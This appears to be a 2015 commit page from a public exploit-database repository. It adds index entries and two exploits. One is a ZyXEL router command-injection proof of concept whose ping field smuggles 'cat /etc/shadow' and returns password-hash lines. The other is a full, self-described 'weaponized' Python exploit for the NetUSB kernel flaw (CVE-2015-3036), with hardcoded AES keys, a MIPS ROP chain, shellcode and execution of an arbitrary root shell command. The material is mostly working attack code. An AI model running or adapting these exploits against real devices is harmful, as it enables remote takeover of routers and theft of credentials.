DB: 2015-10-15
2 new exploits
This commit is contained in:
Offensive Security
parent
0182f51e36
commit
01940201cb
3 changed files with 468 additions and 1 deletions
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@ -13435,7 +13435,7 @@ id,file,description,date,author,platform,type,port
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15440,platforms/php/webapps/15440.txt,"Joomla DCNews Component com_dcnews - Local File Inclusion Vulnerability",2010-11-06,"Th3 RDX",php,webapps,0
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15441,platforms/php/webapps/15441.txt,"MassMirror Uploader Remote File Inclusion Vulnerability",2010-11-06,ViciOuS,php,webapps,0
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15444,platforms/windows/dos/15444.zip,"G Data TotalCare 2011 - NtOpenKey Race Condition Vulnerability",2010-11-06,"Nikita Tarakanov",windows,dos,0
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15445,platforms/windows/remote/15445.txt,"femitter ftp server 1.04 - Directory Traversal Vulnerability",2010-11-06,chr1x,windows,remote,0
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15445,platforms/windows/remote/15445.txt,"Femitter FTP Server 1.04 - Directory Traversal Vulnerability",2010-11-06,chr1x,windows,remote,0
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15447,platforms/php/webapps/15447.txt,"phpCow 2.1 - File Inclusion Vulnerability",2010-11-06,ViRuS_HiMa,php,webapps,0
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15448,platforms/asp/webapps/15448.txt,"pilot cart 7.3 - Multiple Vulnerabilities",2010-11-07,Ariko-Security,asp,webapps,0
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15449,platforms/linux/remote/15449.pl,"ProFTPD IAC - Remote Root Exploit",2010-11-07,kingcope,linux,remote,0
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@ -34730,5 +34730,7 @@ id,file,description,date,author,platform,type,port
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38448,platforms/hardware/webapps/38448.txt,"F5 Big-IP 10.2.4 Build 595.0 Hotfix HF3 - File Path Traversal Vulnerability",2015-10-13,"Karn Ganeshen",hardware,webapps,0
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38449,platforms/hardware/webapps/38449.txt,"Netgear Voice Gateway 2.3.0.23_2.3.23 - Multiple Vulnerabilities",2015-10-13,"Karn Ganeshen",hardware,webapps,0
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38450,platforms/php/webapps/38450.txt,"Kerio Control <= 8.6.1 - Multiple Vulnerabilities",2015-10-13,"Raschin Tavakoli",php,webapps,0
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38454,platforms/multiple/remote/38454.py,"Linux/MIPS Kernel NetUSB - Remote Code Execution Exploit",2015-10-14,blasty,multiple,remote,0
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38455,platforms/hardware/webapps/38455.txt,"ZyXEL PMG5318-B20A - OS Command Injection Vulnerability",2015-10-14,"Karn Ganeshen",hardware,webapps,0
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38452,platforms/windows/local/38452.txt,"CDex Genre 1.79 - Stack Buffer Overflow",2015-10-13,Un_N0n,windows,local,0
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38453,platforms/hardware/remote/38453.txt,"ZHONE < S3.0.501 - Multiple Vulnerabilities",2015-10-13,"Lyon Yang",hardware,remote,0
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Can't render this file because it is too large.
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69
platforms/hardware/webapps/38455.txt
Executable file
69
platforms/hardware/webapps/38455.txt
Executable file
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@ -0,0 +1,69 @@
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# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]
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# Discovered by: Karn Ganeshen
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# CERT VU# 870744
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# Vendor Homepage: [www.zyxel.com]
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# Version Reported: [Firmware version V100AANC0b5]
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# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018]
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*Vulnerability Details*
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CWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input
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Validation - CVE-2015-6018
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The diagnostic ping function's PingIPAddr parameter in the ZyXEL
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PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user
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input. An attacker can execute arbitrary commands as root.
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*OS Command Injection PoC*
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The underlying services are run as 'root'. It therefore, allows dumping
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system password hashes.
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*HTTP Request*
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POST /diagnostic/diagnostic_general.cgi HTTP/1.1
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Host: <IP>
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User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101
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Firefox/40.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://<IP>/diagnostic/diagnostic_general.cgi
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Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive
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Content-Type: multipart/form-data; boundary=--------------------------
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-12062103314079176991367286444
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Content-Length: 451
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——————————————12062103314079176991367286444
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Content-Disposition: form-data; name="InfoDisplay”
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——————————————12062103314079176991367286444
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Content-Disposition: form-data; name="*PingIPAddr*"
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*8.8.8.8; cat /etc/shadow *
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——————————————12062103314079176991367286444
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Content-Disposition: form-data; name="Submit"
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Ping
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….
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*HTTP Response *
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.....
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<snipped>
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<br class="clearfloat" />
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<!-- configuration beginning -->
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<div class="headline"><span class="cTitle">General</span></div> <table
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width="90%" border="0" align="center" cellpadding="0" cellspacing="0"
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class="cfgpadding">
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<tr>
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<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100"
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readonly="readonly”>
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*root:<hash>:15986:0:99999:7:::
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lp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::
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user:<hash>:16035:0:99999:7:::*
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</textarea></td>
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</tr>
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</table>
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<table width="90%" border="0" align="center" cellpadding="0"
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cellspacing="0" class="cfgpadding">
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<tr>
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-----------------------------12062103314079176991367286444--
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396
platforms/multiple/remote/38454.py
Executable file
396
platforms/multiple/remote/38454.py
Executable file
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@ -0,0 +1,396 @@
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#!/usr/bin/env python
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# Source: http://haxx.in/blasty-vs-netusb.py
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#
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# CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS)
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# ===========================================================================
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# This is a weaponized exploit for the NetUSB kernel vulnerability
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# discovered by SEC Consult Vulnerability Lab. [1]
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#
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# I don't like lazy vendors, I've seen some DoS PoC's floating around
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# for this bug.. and it's been almost five(!) months. So lets kick it up
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# a notch with an actual proof of concept that yields code exec.
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#
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# So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)
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#
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# Smash stack, ROP, decode, stage, spawn userland process. woo!
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#
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# Currently this is weaponized for one target device (the one I own, I was
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# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in
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# the default firmware image, oooops. ;-D).
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#
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# This python script is horrible, but its not about the glue, its about
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# the tech contained therein. Some things *may* be (intentionally?) botched..
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# lets see if "the community" cares enough to develop this any further,
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# I need to move on with life. ;-D
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#
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# Shoutouts to all my boys & girls around the world, you know who you are!
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#
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# Peace,
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# -- blasty <peter@haxx.in> // 20151013
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#
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# References:
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# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt
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# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
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#
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import os, sys, struct, socket, time
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from Crypto.Cipher import AES
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def u32(v):
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return struct.pack("<L", v)
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def banner():
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print ""
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print "## NetUSB (CVE-2015-3036) remote code execution exploit"
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print "## by blasty <peter@haxx.in>"
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print ""
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def usage(prog):
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print "usage : %s <host> <port> <cmd>" % (prog)
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print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog)
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print ""
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banner()
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if len(sys.argv) != 4:
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usage(sys.argv[0])
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exit(0)
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cmd = sys.argv[3]
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# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro)
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targets = [
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{
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"name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)",
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"kernel_base" : 0x80001000,
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# adjust to offset used in 'load_addr_and_jump' gadget
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# should be some big immediate to avoid NUL bytes
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"load_addr_offset" : 4156,
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"gadgets" : {
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# 8c42103c lw v0,4156(v0)
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# 0040f809 jalr v0
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# 00000000 nop
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'load_addr_and_jump' : 0x1f548,
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# 8fa20010 lw v0,16(sp)
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# 8fbf001c lw ra,28(sp)
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# 03e00008 jr ra
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# 27bd0020 addiu sp,sp,32
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'load_v0_and_ra' : 0x34bbc,
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# 27b10010 addiu s1,sp,16
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# 00602021 move a0,v1
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# 0040f809 jalr v0
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# 02202821 move a1,s1
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'move_sp_plus16_to_s1' : 0x63570,
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# 0220f809 jalr s1
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# 00000000 nop
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'jalr_s1' : 0x63570,
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'a_r4k_blast_dcache' : 0x6d4678,
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'kmalloc' : 0xb110c,
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'ks_recv' : 0xc145e270,
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'call_usermodehelper_setup' : 0x5b91c,
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'call_usermodehelper_exec' : 0x5bb20
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}
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}
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]
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# im lazy, hardcoded to use the only avail. target for now
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# hey, at least I made it somewhat easy to easily add new targets
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target = targets[0]
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# hullo there.
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hello = "\x56\x03"
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# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes
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# people, this is not how you implement auth. lol.
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aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex')
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aesk1 = "A2353556541CFE44EC468248064DE66C".decode('hex')
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key = aesk1
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IV = "\x00"*16
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mode = AES.MODE_CBC
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aes = AES.new(key, mode, IV=IV)
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aesk0_d = aes.decrypt(aesk0)
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aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
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s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))
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print "[>] sending HELLO pkt"
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s.send(hello)
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time.sleep(0.2)
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verify_data = "\xaa"*16
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print "[>] sending verify data"
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s.send(verify_data)
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time.sleep(0.2)
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print "[>] reading response"
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data = s.recv(0x200)
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print "[!] got %d bytes .." % len(data)
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print "[>] data: " + data.encode('hex')
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pkt = aes2.decrypt(data)
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print "[>] decr: " + pkt.encode("hex")
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if pkt[0:16] != "\xaa"*16:
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print "[!] error: decrypted rnd data mismatch :("
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exit(-1)
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rnd = data[16:]
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aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
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pkt_c = aes2.encrypt(rnd)
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print "[>] sending back crypted random data"
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s.send(pkt_c)
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# Once upon a time..
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d = "A"
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# hardcoded decoder_key, this one is 'safe' for the current stager
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decoder_key = 0x1337babf
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# NUL-free mips code which decodes the next stage,
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# flushes the d-cache, and branches there.
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# loosely inspired by some shit Julien Tinnes once wrote.
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decoder_stub = [
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0x0320e821, # move sp,t9
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0x27a90168, # addiu t1,sp,360
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0x2529fef0, # addiu t1,t1,-272
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0x240afffb, # li t2,-5
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0x01405027, # nor t2,t2,zero
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0x214bfffc, # addi t3,t2,-4
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0x240cff87, # li t4,-121
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0x01806027, # nor t4,t4,zero
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0x3c0d0000, # [8] lui t5, xorkey@hi
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0x35ad0000, # [9] ori t5,t5, xorkey@lo
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0x8d28fffc, # lw t0,-4(t1)
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0x010d7026, # xor t6,t0,t5
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0xad2efffc, # sw t6,-4(t1)
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0x258cfffc, # addiu t4,t4,-4
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0x140cfffb, # bne zero,t4,0x28
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0x012a4820, # add t1,t1,t2
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0x3c190000, # [16] lui t9, (a_r4k_blast_dcache-0x110)@hi
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0x37390000, # [17] ori t9,t9,(a_r4k_blast_dcache-0x110)@lo
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0x8f390110, # lw t9,272(t9)
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0x0320f809, # jalr t9
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0x3c181234, # lui t8,0x1234
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]
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# patch xorkey into decoder stub
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decoder_stub[8] = decoder_stub[8] | (decoder_key >> 16)
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decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff)
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r4k_blast_dcache = target['kernel_base']
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r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']
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# patch the r4k_blast_dcache address in decoder stub
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decoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16)
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decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)
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# pad it out
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d += "A"*(233-len(d))
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# kernel payload stager
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kernel_stager = [
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0x27bdffe0, # addiu sp,sp,-32
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0x24041000, # li a0,4096
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0x24050000, # li a1,0
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0x3c190000, # [3] lui t9,kmalloc@hi
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0x37390000, # [4] ori t9,t9,kmalloc@lo
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0x0320f809, # jalr t9
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0x00000000, # nop
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0x0040b821, # move s7,v0
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0x02602021, # move a0,s3
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0x02e02821, # move a1,s7
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0x24061000, # li a2,4096
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0x00003821, # move a3,zero
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0x3c190000, # [12] lui t9,ks_recv@hi
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0x37390000, # [13] ori t9,t9,ks_recv@lo
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0x0320f809, # jalr t9
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0x00000000, # nop
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0x3c190000, # [16] lui t9,a_r4k_blast_dcache@hi
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0x37390000, # [17] ori t9,t9,a_r4k_blast_dcache@lo
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0x8f390000, # lw t9,0(t9)
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0x0320f809, # jalr t9
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0x00000000, # nop
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0x02e0f809, # jalr s7
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0x00000000 # nop
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]
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kmalloc = target['kernel_base'] + target['gadgets']['kmalloc']
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ks_recv = target['gadgets']['ks_recv']
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# patch kernel stager
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kernel_stager[3] = kernel_stager[3] | (kmalloc >> 16)
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kernel_stager[4] = kernel_stager[4] | (kmalloc & 0xffff)
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kernel_stager[12] = kernel_stager[12] | (ks_recv >> 16)
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kernel_stager[13] = kernel_stager[13] | (ks_recv & 0xffff)
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kernel_stager[16] = kernel_stager[16] | (r4k_blast_dcache >> 16)
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kernel_stager[17] = kernel_stager[17] | (r4k_blast_dcache & 0xffff)
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# a ROP chain for MIPS, always ew.
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rop = [
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# this gadget will
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# v0 = *(sp+16)
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# ra = *(sp+28)
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# sp += 32
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target['kernel_base'] + target['gadgets']['load_v0_and_ra'],
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# stack for the g_load_v0_and_ra gadget
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0xaaaaaaa1, # sp+0
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0xaaaaaaa2, # sp+4
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0xaaaaaaa3, # sp+8
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0xaaaaaaa4, # sp+12
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r4k_blast_dcache - target['load_addr_offset'], # sp+16 / v0
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0xaaaaaaa6, # sp+20
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0xaaaaaaa7, # sp+24
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# this gadget will
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# v0 = *(v0 + 4156)
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# v0();
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# ra = *(sp + 20)
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# sp += 24
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# ra();
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target['kernel_base'] + target['gadgets']['load_addr_and_jump'], # sp+28
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0xbbbbbbb2,
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0xccccccc3,
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0xddddddd4,
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0xeeeeeee5,
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0xeeeeeee6,
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# this is the RA fetched by g_load_addr_and_jump
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target['kernel_base'] + target['gadgets']['load_v0_and_ra'],
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# stack for the g_load_v0_and_ra gadget
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0xaaaaaaa1, # sp+0
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0xaaaaaaa2, # sp+4
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0xaaaaaaa3, # sp+8
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0xaaaaaaa4, # sp+12
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target['kernel_base'] + target['gadgets']['jalr_s1'], # sp+16 / v0
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0xaaaaaaa6, # sp+20
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0xaaaaaaa7, # sp+24
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target['kernel_base'] + target['gadgets']['move_sp_plus16_to_s1'], # ra
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# second piece of native code getting executed, pivot back in the stack
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0x27b9febc, # t9 = sp - offset
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0x0320f809, # jalr t9
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0x3c181234, # nop
|
||||
0x3c181234, # nop
|
||||
|
||||
# first native code getting executed, branch back to previous 4 opcodes
|
||||
0x03a0c821, # move t9, sp
|
||||
0x0320f809, # jalr t9
|
||||
0x3c181234,
|
||||
]
|
||||
|
||||
# append rop chain to buffer
|
||||
for w in rop:
|
||||
d += u32(w)
|
||||
|
||||
# append decoder_stub to buffer
|
||||
for w in decoder_stub:
|
||||
d += u32(w)
|
||||
|
||||
# encode stager and append to buffer
|
||||
for w in kernel_stager:
|
||||
d += u32(w ^ decoder_key)
|
||||
|
||||
print "[>] sending computername_length.."
|
||||
time.sleep(0.1)
|
||||
s.send(struct.pack("<L", len(d)))
|
||||
|
||||
print "[>] sending payload.."
|
||||
time.sleep(0.1)
|
||||
s.send(d)
|
||||
time.sleep(0.1)
|
||||
|
||||
print "[>] sending stage2.."
|
||||
|
||||
# a useful thing to do when you bust straight into the kernel
|
||||
# is to go back to userland, huhuhu.
|
||||
# thanks to jix for the usermodehelper suggestion! :)
|
||||
kernel_shellcode = [
|
||||
0x3c16dead, # lui s6,0xdead
|
||||
0x3c19dead, # lui t9,0xdead
|
||||
0x3739c0de, # ori t9,t9,0xc0de
|
||||
0x2404007c, # li a0, argv
|
||||
0x00972021, # addu a0,a0,s7
|
||||
0x2405008c, # li a1, argv0
|
||||
0x00b72821, # addu a1,a1,s7
|
||||
0xac850000, # sw a1,0(a0)
|
||||
0x24050094, # li a1, argv1
|
||||
0x00b72821, # addu a1,a1,s7
|
||||
0xac850004, # sw a1,4(a0)
|
||||
0x24060097, # li a2, argv2
|
||||
0x00d73021, # addu a2,a2,s7
|
||||
0xac860008, # sw a2,8(a0)
|
||||
0x00802821, # move a1,a0
|
||||
0x2404008c, # li a0, argv0
|
||||
0x00972021, # addu a0,a0,s7
|
||||
0x24060078, # li a2, envp
|
||||
0x00d73021, # addu a2,a2,s7
|
||||
0x24070020, # li a3,32
|
||||
|
||||
0x3c190000, # [20] lui t9,call_usermodehelper_setup@hi
|
||||
0x37390000, # [21] ori t9,t9,call_usermodehelper_setup@lo
|
||||
|
||||
# call_usermodehelper_setup(argv[0], argv, envp, GPF_ATOMIC)
|
||||
0x0320f809, # jalr t9
|
||||
0x00000000, # nop
|
||||
0x00402021, # move a0,v0
|
||||
0x24050002, # li a1,2
|
||||
0x3c190000, # [26] lui t9,call_usermodehelper_exec@hi
|
||||
0x37390000, # [27] ori t9,t9,call_usermodehelper_exec@lo
|
||||
|
||||
# call_usermodehelper_exec(retval, UHM_WAIT_PROC)
|
||||
0x0320f809, # jalr t9
|
||||
0x00000000, # nop
|
||||
|
||||
# envp ptr
|
||||
0x00000000,
|
||||
|
||||
# argv ptrs
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000
|
||||
]
|
||||
|
||||
usermodehelper_setup = target['gadgets']['call_usermodehelper_setup']
|
||||
usermodehelper_exec = target['gadgets']['call_usermodehelper_exec']
|
||||
|
||||
# patch call_usermodehelper_setup into kernel shellcode
|
||||
kernel_shellcode[20] = kernel_shellcode[20] | (usermodehelper_setup>>16)
|
||||
kernel_shellcode[21] = kernel_shellcode[21] | (usermodehelper_setup&0xffff)
|
||||
|
||||
# patch call_usermodehelper_setup into kernel shellcode
|
||||
kernel_shellcode[26] = kernel_shellcode[26] | (usermodehelper_exec>>16)
|
||||
kernel_shellcode[27] = kernel_shellcode[27] | (usermodehelper_exec&0xffff)
|
||||
|
||||
payload = ""
|
||||
|
||||
for w in kernel_shellcode:
|
||||
payload += u32(w)
|
||||
|
||||
payload += "/bin/sh\x00"
|
||||
payload += "-c\x00"
|
||||
payload += cmd
|
||||
|
||||
# and now for the moneyshot
|
||||
s.send(payload)
|
||||
|
||||
print "[~] KABOOM! Have a nice day."
|
||||
Loading…
Add table
Reference in a new issue